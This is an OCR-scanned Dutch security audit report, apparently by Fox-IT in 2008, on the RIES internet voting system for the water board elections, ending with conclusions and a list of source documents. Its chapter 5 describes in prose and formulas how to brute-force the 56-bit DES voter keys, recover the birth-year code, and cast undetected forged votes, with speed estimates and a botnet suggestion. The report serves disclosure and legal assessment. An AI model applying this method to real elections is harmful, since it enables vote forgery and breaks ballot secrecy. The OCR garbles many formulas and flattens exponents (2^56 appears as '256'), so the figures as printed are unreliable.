Voor elke kíezer wordt een geheime unieke sleutel (Kp) gemaakt gebaseerd op het Burgerservicenummer
(BSN). Deze sleutel is nodig om te kunnen stemmen, en kan achteraf gebruikt worden om te berekenen
op wie de kiezer gestemd heeft. Om deze persoonlÍjke sleutel Kp te kunnen uitrekenen voor een kiezer
met een bepaald BSN is een hoofdsleutel nodig die Kgenvoterkey heet. Deze sleutel is uniek per
verkiezing en moet strikt geheím blíjven.

Echter, Kgenvoterkeyis een zogenaamde 2TDES-sleutel met een lengte van slechts 112 bits, Naar
vennrachting van Amerikaanse en Europese autorÍteiten bestaan rond 2030 computers die een dergelijke
sleutel binnen redelijke tijd kunnen "kraken".

Daardoor kan het stemgeheim van de in 2008 uitgebrachte stemmen niet meer gegarandeerd worden in
2030, want als iemand dan Kgenvoterkey bepaalt zoals gebruikt in 2008 zijn alle persoonlijke sleutels KP,
en daarmee alle uitgebrachte stemmen, te reconstrueren.

De impact van deze bevinding kan overigens sterk worden teruggebracht door geen persoonlijk
identificeerbare qetallen zoals het BSN te qebruiken als basís voor de persoonlijke sleutels.

\-^J
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De gepubliceerde pseudo-identiteiten zijn wel versleuteld met de unieke 56-bits sleutel van elke kiezer,
maar de ontwikkelaars hebben het systeem zo aangepast dat ze een veilige lengte van 128 bíts hebben.
Op het eerste gezicht lijkt hier weínig mis mee, maar een ketting is even sterk als de zwakste schakel, De
zwakste schakel in dit systeem is de 56 bits DES-sleutel.

De volgende formule laat zien hoe een pseudo-identiteit wordt berekend:

RnPID - MDC[DESmac K,U @llD))]

De waarde RnPID ís de pseudo-identíteÍt van kiezer Kp. Uit deze formule kunnen we zíen dat de
verkiezingsidentiteit E|ID wordt versleuteld met een DESmac en veruolgens versleuteld met een MDC.

DESmac is een manier om de integriteit en de authenticiteit van een bericht te waarborgen terwijl MDC

bedoeld is om de integriteit van een bericht te garanderen. Deze functies hebben elk een ander doel
maar worden beide door het DES algoritme berekend. Het verschil is dat DESmac een sleutel nodig heeft
om het bericht te versleutelen terwijl MDC twee maal een DES versleuteling uitvoert. Samengevat, de
publieke verkiezingsidentiteit EIID wordt versleuteld met een 64-bits DESmac die ook een 56-bits DES-

sleutel gebruikt als input. Dit resultaat wordt nogmaals versleuteld met een dubbele DES-encryptie die
een bericht oplevert van 128 bits. Maar, zoals gezegd, de zwakste schakel blijft de 56-bits sleutel.

Verkiezingsidentiteit
Bij de waterschapsverkiezingen van 2008 zijn circa 13 miljoen mensen stemgerechtigd, verdeeld over 27
waterschappen. Gemiddeld zou elk waterschap zo'n 500.000 inwoners hebben, maar enkele
waterschappen tellen rond de 1 miljoen kiesgerechtigden. DÍt betekent ook dat er 27 verschillende
verkiezingsidentiteiten (E/ID) zijn waarbíj er telkens 1 gekoppeld is aan een kiezer, Aangezien de
verkiezingsidentiteiten bekend zijn gaan we er vanuit dat een aanvaller weet welk waterschap hij wil

aanvallen, De aanvaller weet dus wat de EIID is en hij weet dat er binnen dít waterschap zeker 1 miljoen
kiesgerechtigden zijn. Bíj de verkiezingen in 2004 telde het waterschap Rijnland 1,04 miljoen
kiesgerechtigden en Hollands Noorderkwartier had 1,18 miljoen kíesgerechtigden.

De unieke sleutels voor de kiezers zijn 56 bits lang. We kunnen daardoor zeggen dat er in totaal 256 =
7,205 x 1016 sleutels mogelijk zijn. Omdat er maar 1 miljoen kiezers meedoen bij een bepaald
waterschap is de kans om een sleutel te raden heel erg klein:

I Ttljo* -2'0 - z-ru = 0.0000000000 455P= j2orrot6- rN=

Als wij nu 236 willekeurige sleutels genereren is de kans 639o dat wij een correcte waarde vinden:

-l- e-t =63Vo

Hierbij is uitgegaan van de limiet:

Wat we eigenlÍjk willen weten is dat bij welk X aantal gegenereerde waarden we kunnen verwachten dat
een geldige unieke sleutel Kp gevonden is. De verwachtingswaarde van X is:

E(x)= irlx > il -it t- p)' -t- 
p 

-t:!rr" =z3u
i=t i=l P 2-'"

We moeten dus 236 waarden genereren voordat we kunnen verwachten dat er een geldige uníeke sleutel
bij zit.
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Het creëren van deze hoeveelheid aan data gebeurt als volgt. Een aanvaller laat Kp oplopen van 1 t/m
220 en genereert de volgende waarden:

RnPID, - MDClDESmac,(f @llD))l
RnPID, - MDCÍDESmacr(f (EIID))I

RnP ID,* - MDCID ESmac,,o U @tl D))]

De aanvaller begint bij Kp = 1 en gebruikt dit als een sleutel voor de DESmac-berekening over F/.ID.
Hierna berekent hij nog eens twee DES-encrypties (de MDC). In totaal moet een aanvaller voor elke
waarde 3 DES-berekeningen uitvoeren. Nu genereeÍt hij Kp = 7, etcetera.

Pentium
Is het nu reëel dat een gebruiker zulke hoeveelheden berekeningen kan genereren met zijn computer
thuis?

Een gemiddelde Pentium-4 met een snelheid van 3 Ghz kan ongeveer 2 míljoen DES-versleutelingen per
seconde uitvoeren. Hierdoor kunnen we het volgende berekenen:

Toraal aantal DES Encrypties _ 3'236_ _ 206.158.430.208 
= 103079 sec = 29 uur

DES Encrypties per seconde 2.106 2.000.000

Gaan we er vanuit dat er geen districten zijn en dat alle 13 mÍljoen kiezers de zelfde verkiezingsidentiteit
hebben dan worden de berekeningen nog gunstiger, want dan is het mogelijk om binnen 4 uur een
geldige stem te genereren, Met dual en quad core'processoren (steeds gangbaarder) is het aantal DES-
encrypties per seconde nog significant groter, omdat de berekeníngen goed paralleliseerbaar zijn. Gezien
het feit dat de stemperiode twee weken zal duren is het derhalve reëel om aan te nemen dat een
aanvaller meerdere mogelijke stemmen kan genereren bij dezelfde verkiezingen.

Geldige sleutel
Om uit de hoeveelheid van gegenereerde data te bepalen of een sleutel geldig is of niet, moet de
mogelijke sleutel vergeleken worden met de gepubliceerde lijst van geldige pseudo-ídentiteiten.
Aangezien deze lijst gesorteerd kan worden op grootte, dus de waarden worden in volgorde gelegd
oplopend van laag naar hoog, wordt het zeer efficíënt om te bepalen of een sleutel een geldige sleutel is.
Proefondervindelijk zijn wij in staat om 50x106 waarden per seconde te vergelijken, ofwel 20
nanoseconden per vergelijking. Uitgaande van 236 gegenereerde sleutels zal het totale zoekproces dat
nog nodig is na het genereren van de sleutels een uur duren.

AbelPI
Wat kan een aanvaller nu met die sleutel?

Om een stem uit te kunnen brengen moet een aanvaller ook de beschikkíng hebben over de AbelPI, de
laatste twee cÍjfers van het geboortejaar van de kiezer. Deze waarde wordt niet op het stembiljet gedrukt
en wordt bekend verondersteld bij de kiezer. De waarde wordt meeversleuteld in de stemkeuze van de
kiezer. Zoals eerder vermeld is RIES transparant en worden voor de verkiezingen niet alleen alle pseudo-
identiteiten maar ook alle mogelíjke stemmen gepubliceerd in de lijst RnCx, waarbij x een kandidaat is.
Dus RnCl staat voor kandidaat I en RnC2 staat voor kandidaat 2, etcetera.

Hieronder volgt een voorbeeld van de pseudo-identiteit (RnPID) en RnCx voor een willekeurige kiezer n
die voor de verkiezingen wordt gepubliceerd:

RnPID,, - MDCIDESmac r,,,(f (EllD)))
RnA,, = M DCIDESntacrn,,U (A, illQAbelPl))l _ Kandidaat 1

:nn. 
= IVI DQDESmecr,,,,U (0. Ell DAbe lP{))l _ Kandidaat 2
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RnCm,: MDCIDESmnc *0.(f (Cm,EIID,AbelP1,,))l _ Kandidaat m

Omdat bij elke gevonden Kp ook RnPID bekend is, kan in de lijst gevonden worden wat de bijhorende
RnCx-waarden zijn. We weten bijvoorbeeld dat bij elke gevonden geldige Kp een waarde RnC2 hoott die
gekoppeld is aan kandidaat 2. De enige onbekende is dus nog AbelPï. Aangezien de meeste kiezers
jonger zijn dan 80 jaar en minimaal 18 jaar oud zijn zullen de laatste cijfers van het gebooftejaar lopen
van 28 t/m 90 (andere optimalisaties zijn ook mogelijk, geboortejaren zijn immers niet uniform verdeeld
over de kiesgerechtigde bevolking). We kunnen dus bijvoorbeeld berekenen:

RnCZ = M DCÍD ESmec 0,, U (C2, E ll D,28))l

RnC2 : M DCÍD ESmac K, ( f (C2, Ell D,29)))

RnC2 = M DCÍD ESmac r, (f (C2, Ell D,30)))

' 

*nrr: MDCÍDESntacKp(f (c2, EtlD,go))l

Een van deze waarden zal de juiste AbelPI opleveren behorend bij een Kp. We kunnen dus elke waarde
vergelijken met de waarde Ín de tabel. De enige gelijke waarde staat gelijk aan het ingevulde
geboortejaar - daarmee is AbelPI voor deze kiezer ook bekend. Nu we Kp hebben en de bijhorende
AbelPI, zijn we instaat om een geldige stem uit te brengen'

Het uitbrengen van een geldige stem kan op de normale manier via het internet en behoeft geen speciale
kennis of hulp van binnenuit. Om zo min mogelijk op te vallen kan de stem aan het eind van de

stemperiode uitgebracht worden. Ook kan de gebruiker tijdens de verkiezingen controleren of de
gevonden Kp al is gebruikt door middel van de ReSPID-waarde, díe na het invoeren van de geheime
sleutels teruggeeft of een stem al Ís uitgebracht of dat er gestemd mag worden.

5.3.1 Conclusie
De hierboven beschreven aanval laat zien dat een standaard internetter in staat is om een geldige stem
te genereren. Of de verkiezingen verdeeld zijn in verschillende kiesdistricten of dat er één grote
verkiezing is maakt weinig verschil. Het zal de aanvaller hooguit iets meer tijd kosten, maar in beide
gevallen is de stemperiode van twee weken ruim voldoende om stemmen uit te kunnen brengen.

In aanvulling op de mogelijkheden van de gewone thuis-PC is speciale apparatuur zoals de "Copacobana"
(http://www.copacobana.com/) nog het vermelden waard. Deze DES-kraker kost minder dan 9000 euro
en is in staat om binnen 4 seconden de benodigde 236 mogelijke sleutels te genereren.

Deze aanval laat zien dat de veiligheid van het totale systeem gebaseerd is op DES-sleutels van 56 bits
ongeacht alle andere maatregelen en versleutelingen die zijn genomen om het systeem veiliger te
maken. Dergelijke sleutels worden al geruime tijd niet meer als veílíg beschouwd, in het licht van de
rekenkracht van hedendaagse computers.

Samengevat leidt het bovenstaande tot de volgende bevinding:

Het is mogelijk om tijdens de verkiezingen geldige sleutels te genereren en stemmen uit te brengen op
een kandidaat naar keuze, gebruikmakend van een geldige kiezersidentiteit zonder dat dit ontdekt kan
worden. Het genereren van sleutels kan op een standaard PC uitgevoerd worden. Hierdoor is de aanval
makkelijk uit te breiden door meerdere computers bv. door het gebruik van een botnet of door een
ooroep te doen via een populaire weblo
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5.4 OverÍge bevindingen

RnPotVote bevat de lijst met alle potentiële stemmen van alle kiezers versleuteld met de geheime sleutel
van elke kiezer. Gezien de relatie tussen het BSN, de geheime sleutel en de potentiële stemmen van alle
kiezers, zou de te publiceren lijst niet een 1-op-l-relatie moeten hebben met de lijst van alle geldige
BSN's. Hiermee voorkom je dat een aanvaller een link kan leggen tussen de lijst van te genereren
stemmen en de waarden Kp die weer qebaseerd ziin op het BSN.

De Umpire-functie is in de documenatie niet duidelijk omschreven. Twee voorbeelden:

a) De toegevoegde waarde van de VotRecCon en de Umpire is niet duidelijk, De internetkiezer
kríjgt aan het eind van zijn stem een kwitantie VotRecConCnt die hij kan gebruiken om na de
verkiezingen te controleren of zijn stem is meegeteld. Deze constructie werkt als de kiezer een
geldige VotRecConCnt heeft gekregen. Een aanvaller (wíllekeurige kiezer) claimt dat zijn stem
niet is meegeteld en presenteert een willekeurige VotRecConCnt, hoe kan de Umpire nu

bewijzen dat dit geen geldige kwitantie is? Hij kan alleen zeggen dat die waarde niet in de
lijsten voorkomt. Zíe ook bevÍnding 2.5.

b) De Umpire krijgt een claim van een kiezer met een VotRecConCnt die beweet dat zijn stem niet
is meegeteld. De umpire heeft de beschikkÍng over de RIPOCS en herberekent voor elk paar
VnPID//VnCx de DESmac-waarde :

VorRe cCon - DESmac(kbbs -b,(VnPIDllVnCx))
Als VofRecConCnt toch een geldige waarde in de lijst is van de kíezer, dan kan de Umpire nu
een link leggen tussen de kiezer en wat hij heeft gestemd. De umpire weet wie de gebruiker is
en hij weet door middel van VnCx op wie híj heeft gestemd.

Dit ount wordt ook ooqemerkt door EIPSI (10).

De cryptografische hardware module genereert per kiezer een C10 bestand met daarop zijn geheime
unieke sleutel. Dit bestand wordt versleuteld met een publieke sleutel van de drukker (PSB) en verstuurd
naar PSD. PSB is nu in staat om met zijn geheime sleutel alle C10 bestanden te ontcijferen en te printen.
Dit blijft een zwak punt in het systeem. Het is mogelijk een speciale volledige afgesloten machine te
ontwÍkkelen voor het drukken, maar dÍt Ís erg kostbaar.

Dit wordt ook opqemerkt door(6\, (7), (8), (9) en (10).

SURFnet beheert het netwerk tijdens de verkÍezingen, Er wordt vanuit gegaan dat alle inkomende
stemmen gestrÍpt worden van hun netwerkadres, tijd en datum, Aou dÍt niet gebeuren dan kan iemand
na de verkíezingen toch nog nauwkeurig bepalen wat iemand gestemd heeft. Aan de andere kant moet
SURFnet de kwaliteit van het netwerk hoog houden en eventuele cyberaanvallen weerstaan. Hiervoor Ís

het nodig om te weten vanuit welke IP-adressen de aanvallers opereren.

Zie ook bevinding 2.3.

De documentatie gezien de werkíng van het systeem, cryptografisch gezien, is niet erg duidelijk.
Verschillende stukken van informatie staat willekeurig beschreven in een drietal documenten:
(38)(39)(40). Hierdooroogt het soms een beetje rommelÍg. Een duidelijke en gestructureerde
beschrijving zou kunnen leiden tot een betere inzicht in de werking van de verschillende onderdelen,

Verqeliikbare bevindinqen worden ook qedaan in o.m. (10) en (21
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In (38) wordt op pagina 11 beschreven hoe op de lijst van potentiële stemmen RnPotVote een digitale
handtekening wordt gezet. Hierbij wordt gebruik gemaakt van een publieke sleutel terwijl een digitale
handtekening in de meeste gevallen met een geheime sleutel wordt gezet zodat iedereen in staat is de
handtekening te verifiëren met de publieke sleutel.

Noot: in het interview op 11juni heeft Maclaine Pont al aangegeven dat het hier om een fout in de
documentatie gaat, en dat in werkelijk de digitale handtekening índerdaad met een geheime sleutel
wordt oezet.

Volgens (38) is de functie van AbelPI het toevoegen van een simpele en betrouwbare manier om
persoonlijk informatie toe te voegen aan het stemproces. Een kiezer moet samen met het invoeren van
zíjn geheime sleutel ook zijn geboortejaar opgeven, dat níet is vermeld op het stembiljet. De kiezer moet
dus zíjn gebooftejaar weten om een geldige stem uit te kunnen brengen.

De geheime sleutel Kp voor een kiezer wordt per post opgestuurd naar de kiezer. Als de kiezer zijn
stembiljet niet ontvangt wordt hij geacht hieruan melding te rnaken bij de helpdesk, waarna de helpdesk
een nieuw stempakket toestuurt. Het doel van AbelPI is om ervoor te zorgen dat als een stembiljet in de
handen komt van een aanvaller hij niet in staat moet zijn een geldige stem uit te brengen.

Als een aanvaller een stembiljet steelt of bemachtigt van een geldige kiezer is hij in staat om via de
gepubliceerde informatie de AbelPI te achterhalen die hoott bij het stembiljet. In paragraaf 5.3 is al
beschreven dat als een aanvaller een geldige Kp heeft het makkelijk is om een daarbij horende AbelPI te
genereren dooralle mogelijke geboortejaren te proberen, De lijst RnPotVote bevat namelijk alle mogelijk
keuzes van een bepaalde kiezer Kp. Omdat bekend is welke gehashte waarde hoort bij welke kandidaat is

het mogelijk om het volgende te berekenen:

RnPID^ - MDCIDESmac rn.U@llD))l
RnCl, = M DQDESmae,n^(f (A, HIDAbeIPD)) _ Kandidaat I
Rn A 

^ 
= M D QD ES ffiocr,,,,(f (C2., E I I D Ab e I P I,))) _ Ka n d id a a t 2

RnCm,,= MDCIDESmnc rr^(.f (Cn,EllD,AbetPI,,))J - 6un6idaat m

De enÍge onbekende in dit geheel is de AbelPI.

Met ditzelfde principe is een aanvaller in staat om een willekeurige Kp te genereren en deze in te voeren
in de stemsite op het internet. Ten eerste controleert de applicatie of een willekeurige Kp correct is, met
andere woorden, of hij voldoet aan alle checksums. Na het invoeren van deze gegevens wordt er een
ReSPID gegenereerd die niet afhankelijk is van AbelPI. Deze waarde wordt naar de stemserver gestuurd
om te controleren of iemand al gestemd heeft en of de juiste waardes zijn ingevuld. Dit mechanisme kan
gebruikt worden om te controleren of een willekeurig gekozen sleutel geldig is of niet. Als toevallig een
juiste sleutel is gevonden kan daarna de correcte AbelPI gevonden worden.

Met deze aanval tonen wij dat AbelPI geen toegevoegde waarde heeft bij het internetstemmen, omdat de
aanvaller verschillende mogelijkheden heeft om te controleren of zijn zelf gegenereerde Kp geldig is,
onafhankelijk van de AbelPI. Ook kan hij met een geldige Kp eenvoudig de daarbij horende AbelPI
vinden.
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6 Conclusie
We komen terug bij de onderzoeksvragen:

1. Hebben de waterschappen voldoende kunnen onderbouwen dat de internetstemvoorziening
redelijkerwijze voldoet aan de wettelijke eisen, zoals geformuleerd in het Waterschapsbesluit?

en

2. Hoe zijn de resultaten van de toetslng van de voorziening aan de aanbevelingen van de Raad van
Europa? Indien de voorziening op een of meer onderdelen niet voldoet aan de aanbevelingen, wat is
daarvan dan de reden?

6.7 Raad van Europa
Het antwoord op onderzoeksvraag (2) wordt gegeven in hoofdstuk 3. Fox-IT identificeeft 10 punten
waarop afwijkingen bestaan ten opzichte van het kader dat de Raad van Europa aanreikt, Bij 6 van deze
punten gaat het om oplosbare punten (bevindingen 3.t,3.4,3.6,3.8, 3.10),

Meer fundamentele stríjdigheden bestaan met de aard van RIES. De Raad van Europa heeft in haar
aanbevelingen een systeem als RIES niet voorzien. RIES kan het stemgeheim niet onbeperkt
waarborgen, stemmen laten wel degelijk sporen achter en de mogelijkheid om stemmen na afloop van de
verkiezingen te verifiëren staat centraal in RIES, maar wordt door de Raad van Europa ontraden. Ook de
aanbeveling dat slechts via één kanaal gestemd kan worden is strijdig met RIES, doch niet noodzakelijk
problematisch.

Een oorzaak is wellicht gelegen in het feit dat de Raad van Europa in haar aanbevelingen geen rekening
houdt met het feÍt dat RIES bedoeld is om alleen poststemmingen te vervangen/ geen fysieke
stembusgang.

6.2 Waterschapsbesluit
Het Waterschapsbesluit (a9) stelt een aantal bepalingen met betrekking tot een eventuele voorziening
internetstemmen.

Een aantal van deze bepalingen hebben betrekking op bevindingen uit dit rapport. Fox-IT identificeeft de
volgende belangrijke discussiepunten :

. Artikel 2.45, lid 1, sub a - het geheime karakter van de stemming is voldoende
gewaarborgd

In hoofdstuk 5 van dit rapport is aangetoond dat het gehelme karakter van de stemmÍng voor
maximaal 20 jaar kan worden gewaarborgd. Of dat voldoende is is discutabel.

. Aftikel 2.45, lid 1, sub b - de betrouwbaarheid van de voorziening is voldoende
gewaarborgd

In hoofdstuk 5 van dit rapport Ís aangetoond dat de voorziening verouderde encryptiemethoden
gebruikt waardoor kwaadwillenden in staat zijn de verkiezingen te vervalsen dan wel te
ontwrichten door het uitbrengen van berekende valse stemcodes die door het systeem als geldig
worden geaccepteerd.

. Aftikel 2,45, lid 1, sub e - de voorziening is beveiligd tegen inbreuken, zowel van
buitenaf als van binnenuit, die de integrÍteit van de voorziening in gevaar brengen of
kunnen brengenl

Hoofdstuk 4 van dit rapport vermeldt diverse mogelijke inbreuken zowel van buitenaf als van
binnenuit die de integriteit van de voorziening Ín gevaar kunnen brengen. Te denken valt aan de
gebrekkige beveiliging van de beheerschermen, zowel voor wat betreft toegankelijkheid voor
buitenstaanders als de mogelijkheid voor insiders om de beperkingen van hun rol binnen het
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systeem te omzeilen door kwetsbaarheden in het poftalsysteem;

. Artikel 2.48,lid 1 - het stembureau voorzíet elke kiesgerechtigde van een unieke,
geanon imiseerde en vertrouwel iike code
AÉikel 2.58, lid 1, sub e - de identiteit van de kiezer wordt door de voorziening
g ea no n i m i see rd ge reg i streerd

Iedere kiesgerechtigde wordt voorzien van een geanonirniseerde stemcode. Er bestaat echter een
relatie tussen het burgerservicenummer (BSN) en deze code. Door een aanval beschreven ín

hoofdstuk 5 van dit rapport is het echter mogelijk deze relatie op een tijdstip in de toekomst te
achterhalen uit de gepubliceerde registraties van de stemvoorziening.

r Artikel 2.58, lid 1, sub c - de voorziening is toegankelijk en gebruikersvriendelijk voor
de kiezers

Gebruikersvriendelijkheid is in het verleden in voldoende mate aangetoond, echter niet voor de
huidíge versie van de internetstemvoorziening. Grote verschillen zijn er echter níet.

Ten aanzien van toegankelijkheid verwijzen we naar bevindingen 2.11 en 2.L2. De
toegankelijkheid voor met name visueel gehandicapten is discutabel en zou wellícht verbeterd
kunnen worden.

. Artikel 2.68 - t...1 als ongeldige stem [wordt] aangemerkt: [,..] d. een per brief
ontvangen stem, indien de kiezer per internet een geldige stem heeft uitgehracht op
dezelfde kandidaat

Volgens (50) wordt een stem alleen ongeldig gemaakt als een kiezer stemmen op verschillende
kandidaten uitbrengt, ongeacht of het gaat om stemmen per internet of stemmen per bríef.

Het is aan de staatssecretaris van Verkeer en Waterstaat om hieraan conclusies te verbinden ten aanzien
van de vraag of de door de waterschappen voorziene internetstemvoorzienÍng, gezien het bovenstaande,
redelijkerwijs voldoet aan de wettelijke eisen. Fox-IT hoopt met het Ministerie met dit document
voldoende Ínformatie te hebben aangereikt om tot een weloverwogen besluit te kunnen komen.

Delft, juli 2008
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Appendix A Aangeleverde documentatie

A,7 Eerdere reviews van RIES

Ithaka InfoVisie 74-Q4-
2008

Naar 30%o respons: eindrapport Eindrappoftage. pdf Marketingbureau doet
onderzoek naar
gebruiksvriendelijkheid en
marketino

(14)

CIBIT (Ir, Jaap van
Ekris, Drs. Erík Stel)

11-09-
2006

Beoordeling KOA, Een
beoordeling van de integriteit
van "Kiezen op Afstand"

eindrapportcibit. pdf IT-adviesbureau doet
onderzoek naar de integriteit
van de broncode

(23)

Ministeríe van
Binnenlandse Zaken en
Koninkrijksrelatíes

Kiezen op Afstand
Stemmen via internet
Rapportage experiment
Tweede Ka merverkiezin gen
2006

. iievaluatierappottkoa-
internetstemmen. pdf

. iiÍverslagvandeuitvoering.pdf

. iinhoudsopgaverapportkoa-
stem menviainternet2006. pdf

. ivbijlagedkiezersenquete.pdf

. ivbij lageg 1u itslag ríesinternet-
stemmingtk2006. pdf

. ivosbegeleidingsciebriefaan-
staatssecretaris. pdf

(18)

NetPanel 07-
2004

E-stemmen: laat jij je online
stem gelden?

laat jij je digítale stem gelden.pdf Marktonderzoek naar onder
andere de
q ebruiksvriendel iikheíd

( 16)

TNO Terchnische
Menskunde (Myra van
Esch-Bussemakers, Kim
Kranenboro)

27-Or-
2004

Resultaten quickscan
elektronisch stemsysteem

M006 Resultaten QuÍckscan Myra
van Esch.pdf

Betreft een onderzoek naar
d e gebru Íksvriendel ijkheid

(17)

Het Waterschapshuis
(R. Bandhoesingh)

09-05-
2008

Reviews & Audits RIES-2008 Overzicht Onderzoeken RIES
v1.1.pdf

Geeft een ovezicht van de
gedane onderzoeken naar
RIES

(s1)

KUN (Engelbert
Hubbers, Bart Jacobs
and Wolter Pieters)

RIES - Internet Voting in Action Paper RIES Radboud Universíty.pdf Betreft een beschrijving van
RIES-2004

(6)

Automatisering Gids
(Engelbeft Hubbers,
Baft Jacobs)

1 5-10-
2004

Stemrnen via internet geen
probleem

Stemmen via internet geen
probleem.pdf

Een beschrijving van RIES-
2004

(7)

KUN (Engelbeft
Hubbers, Bart Jacobs
and Wolter Pieters)

2005 RIES - Internet Voting in Action RIES - Internet Voting in Action.pdf Een analyse van RIES-2004 (8)
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Security of Systems
KUN

23-07-
2004

Server Audit van RIES report KU N. pdf Betreft een analyse van de
serverconfiq u raties

(1s)

Collis 30-06-
2008

Review integríteit RIPOCS
broncode

Ra pport_Waterscha psh u is_v 10. pdf (2s)

Cryptomathic A/S (Jens
Groth)

21-01-
2004

Review of RIES Revíew of RIES.pdf Betreft een analyse van de
crvotoorafie van RIES

(12)

Cryptomathic A/S (Jens
Groth, Pieter G.
Maclaine Pont)

26-01-
2004

Review of RIES With comments
and suggested actions/changes
for RIES

Revíew of RIES_cryptomathic_-
co m ments_20040 1 26.pdf

Dezelfde review als
hierboven, maar met
commentaar

(12)

Madison Gurkha BV (lr.
Aq'an de Vet, Ir. Guido
van Rooí'i)

09-07-
2004

RIES Infrastructuur AudÍt RIES infrastructuur audit (crystal-
box), pdf

Betreft een analyse van de
serverconfig uraties

(2r)

Madison Gurkha BV (Ir.
Arjan de Vet, Ir. Guído
van Rooii)

09-07-
2004

RIES JavaScrÍpt Review RIES javascript review.pdf Betreft een analyse van de
JavaScri pt-docu mentatie

(22)

Engelbert Hubbers, Bart
Jacobs

10-
2004

Internetstemmen bij de
waterschaDDen: hoe werkt het?

ries_popula ir. pdf Een kort overzicht van RIES (e)

Ministeríe van
Binnenlandse Zaken en
Ko n in krÍj ksrelaties

3-04-
2007

RISICOANALYSE KIEZEN OP
AFSTAND Stemmen via internet
voor kiezers in het buitenland

risicoanalyse.pdf Inventarisatie van mogelijke
risico's

(26)

IBM (Herman Robers) L?.-
1998

Electronic elections employing
DES smartcards

robers protocol.pdf (s)

11-
2005

Schouwrapportage Kíezen op
Afsta nd

Schouwra pportage. pdf De resultaten van de schouw
op de verschillende systemen
voor Kiezen op Afstand

(27)

07-
2006

Testrapport Kiezen op Afstand
Accessibilitv Test

Testrapport Accessi bílity Test. pdf (28)

10-
2006

Testrapport Kiezen op Afstand
Backup en Recoverytest
Stembus

TestrapporL Backup en Recoverytest
Stembus. pdf

(2e)

0B-
2006

Testrapport Kiezen op Afstand
Browser Comoatibliteits Test

Testrapport Browsers
Com oati biliteits Test. pdf

(30)

09-
2006

Testrappoft KÍezen op Afstand
Deelsvstemen Test

Testrapport Deelsystemen Test. pdf (31)

10-
2006

Testrapport Kiezen op Afstand
Functionele AcceptatÍe Test
Helpdesk

ïestra pport Fu nctionele Acceptatie
Test Helpdesk.pdf

(33)

07-
2006

Testrapport Kiezen op Afstand
Functlonele Acceptatie Test

Testrapport Fun ctionele Acceptatíe
Test. pdf

(32)

09-
2006

Testrapport Kiezen op Afstand
In houdelij ke Stresstest

Testrapport In houdelÍjke
Stresstest. pdf

(34)

09- Testrapport Kiezen op Afstand Testrapport Ketentest. pdf (3s)
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2006 Ketentest
09-
2006

Testrapport Kiezen op Afstand
Reqressletest

ïestrapport Reg ressietest. pdf (36)

Ithaka InfoVisie
Rapportage

12-
2004

Wate rscha psverkiezingen 2OO4 Waterschapsverkiezíngen 2004 -
Rijnland en Dommel.pdf

Betreft het marketing-aspect
van de waterschapsverkie-
zinoen 2OO4

( 1s)

GOVCERT.NL 1-09-
2006

Webapplicatie-scan Kiezen op
Afstand

Webapplicatíe-scan. pdf (24)

Het Waterschapshuis
(Roshini Bandhoesingh)

22-05-
2008

Analyse van de KOA
aanbevelingen v0.4

Microsoft Word - Analyse
onderzoeken KOA vO 4 -2_.pdf

Het Waterschapshuis
reageert op bevindingen uit
een aantal rapporten.

(20)

Het Waterschapshuis
( Roshini Bandhoesingh,
Marco Riikschroeff)

19-05-
2008

Analyse van de KOA
aanbevelingen v0.3

Analyse onderzoeken KOA v0 3.pdf Een oudere versie van een
eerder genoemd document

(s2)

Het Waterschapshuis 06-06-
2008

Evaluatíe Aanbevelingen Raad
van Europa

Evaluatie AanbevelÍngen Raad van
Europa versie 060608.pdf

Het Waterschapshuís
reageert op de aanbevelin-
oen van de Raad van Europa

(4)

A.2 Ondersteunende documentatie

Het Waterschapshuis (Píet
Maclaine Pont, Suze
Maclaine Pont, Arnout
Hannink)

RIES-2008: WV-STUF o RIES WVSTUF 1.Z.pdf
Bijlagen_RlES WVSTUF 1

4.pdf
a

Tech nische besch rijving
van het
uitwisselingsformaat
qebruikt binnen RIES

(41)

Het Waterschapshuis (Piet
Maclaine Pont, Arnout
Hannink, Jacques
Hoeijenbos, Marco
Rijkschroeff, Jacques
Schuurman)

20-05-
2008

RIES-2008 Functioneel Ontwerp Conceptversie Besch rijvin g
RIES_O 1.pdf

(37)

Het Waterschapshuis
(Arnout Hannink, Mark
Dobrinic, Suze Maclaine
Pont)

L-O2-
2008

RIES-2008 Applicaties Docu mentatie_RI ESap pl icatie--
V1 10.pdf

BeschrijvÍng van de
verschillende applicaties
binnen RIES

(s3)

Unie van Waterschappen 2007 Openbare Europese Aanbesteding :

Stempa kket en responsverwerkíng
ten behoeve van de
Waterscha psverkiezingen 2008

. Aanbestedingsdocument
stempakket en
responsverwerking (def). pdf

. Bijlage 1A PvE perceel 1

stempakket (def).pdf
. Bijlage 18 PvE perceel 2

responsverwerkÍnq (def). pdf

(s4)
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Bijlage 2A Overeenkomst
Perceel 1 (def).pdf
Bijla ge 2B Overeenkomst
Perceel 2 (def).pdf
Bijlage 3 - Formulieren
(def).doc
Bijlage 4
Geheimhoudingsverkla ring
(def).pdf
Bijlage 5 AMvB
Waterschapsbestel (def). pdf
Bijlage 6 Aantallen
stemgerechtigde
Íngezetenen (def).pdf
Bijlage 7 Rapport
responsverwerkÍng
stembiljet (def).pdf
Bijlage I Bijlagen bij PvE
perceel 1 en 2 Definitief.pdf
Bijlage 9 - Routebeschrijving
Emeritor.pdf
Bijlage 10 - Prijzenblad
111007 DefinitÍef.xls

SURFnet (Gerjon Kobus,
Jacques Schuurman, Paul
Dekkers,
Xander Jansen,
Suze Maclaine Pont)

L-02-
2008

DocumentatÍe RIES-2008 SURFnet Externe documentatie
RIES SURFnet v1.0-
definitief. pdf

Bevat een globale
beschríjvÍng van de
netwerk- en server-
configuratie

(ss)

Het Waterschapshuis 02-05-
2008

RIES-2008 Performance Pelformance_publÍek-
20080205 v0.1.odf

Beschrijving van de
peformance tests

(s6)

Het Waterschapshuis (Piet
Maclaine Pont)

RIES-2008 HW-Crypto RI ES2 008_H W_CRYPTO_v 09. pdf Beschrijvíng van de
hardware crypto module en
hoe deze gebruikt wordt
binnen RIES-2008

(40)

Het Waterschapshuis
(Jacques Hoeijenbos,
Roshini Bandhoesingh)

RIES-2008 Portalbeschrijvin g RIES-2008 Poftal beschrijving
v0 6.pdf

BeschrÍjving van de
functionalíteit van de portal
applicatie bínnen RIES-
2008

(s7)

20-05-
2008

RIES-2007 Cryptografische
formules en definities

RI ES_a bb rev _2OO7 t2O7 _
v605.pdf

Een overzicht van
gebruikte afkoftingen en
cryptoq rafi sche formu I es

(3e)

Het WaterschapshuÍs (Píet
Maclaine Pont)

